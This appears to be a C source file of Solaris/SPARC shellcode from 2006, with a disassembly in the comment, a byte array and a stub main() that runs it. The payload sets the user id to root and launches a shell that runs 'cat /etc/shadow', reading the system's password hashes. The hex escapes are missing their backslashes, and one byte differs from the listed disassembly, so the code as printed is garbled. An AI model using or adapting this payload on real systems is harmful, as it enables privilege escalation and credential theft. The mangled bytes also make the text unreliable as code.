/*
 * bunker_sparc_exec.c V1.0 - Sat Oct 21 17:45:27 CEST 2006
 *
 * Solaris/sparc bytecode that executes command after setreuid
 * (92 bytes + cmd)
 * 
 * setreuid(0, 0) + execve("/bin/sh", ["/bin/sh","-c","cmd"], NULL);
 *
 * bunker - http://rawlab.mindcreations.com
 * 37F1 A7A1 BB94 89DB A920  3105 9F74 7349 AF4C BFA2
 *
 * Load address of _start+12 in %o7
 *  0x10250:            20 bf ff ff  bn,a      -0x4     <0x1024c>
 *  0x10254:            20 bf ff ff  bn,a      -0x4     <0x10250>
 *  0x10258:            7f ff ff ff  call      -0x4     <0x10254>
 *
 * setreuid(0, 0);
 *  0x1025c:            90 18 40 01  xor       %g1, %g1, %o0
 *  0x10260:            92 18 40 01  xor       %g1, %g1, %o1
 *  0x10264:            82 10 20 ca  mov       0xca, %g1
 *  0x10268:            91 d0 20 08  ta        0x8
 *
 * execve("/bin/sh", ["/bin/sh", "-c", "cmd"], NULL);
 *  0x1026c:            90 03 e0 44  add       %o7, 0x44, %o0
 *  0x10270:            90 23 e0 20  sub       %o7, 0x20, %o0
 *  0x10274:            a2 02 20 0c  add       %o0, 0xc, %l1
 *  0x10278:            a4 02 20 10  add       %o0, 0x10, %l2
 *  0x1027c:            c0 2a 20 07  clrb      [%o0 + 0x7]
 *  0x10280:            c0 2a 20 0e  clrb      [%o0 + 0xe]
 *  0x10284:            d0 23 ff e0  st        %o0, [%o7 - 0x20]
 *  0x10288:            e2 23 ff e4  st        %l1, [%o7 - 0x1c]
 *  0x1028c:            e4 23 ff e8  st        %l2, [%o7 - 0x18]
 *  0x10290:            c0 23 ff ec  clr       [%o7 - 0x14]
 *  0x10294:            82 10 20 3b  mov       0x3b, %g1
 *  0x10298:            91 d0 20 08  ta        0x8
 * "/bin/sh     -c  "
 * "cat /etc/shadow"
 */

char sc[]=      "x20xbfxffxffx20xbfxffxffx7fxffxffxff"
"x90x18x40x01x92x18x40x01x82x10x20xcax91xd0x20x08"
"x90x03xe0x44x92x23xe0x20xa2x02x20x0cxa4x02x20x10"
"xc0x2ax20x07xc0x2ax20x0exd0x23xffxe0xe2x23xffxe4"
"xe4x23xffxe8xc0x23xffxecx82x10x20x3bx91xd0x20x08"
"x2fx62x69x6ex2fx73x68x20x20x20x20x20x2dx63x20x20"
"cat /etc/shadow";

main() { int(*f)()=(int(*)())sc;f(); }

// www.Syue.com [2006-10-21]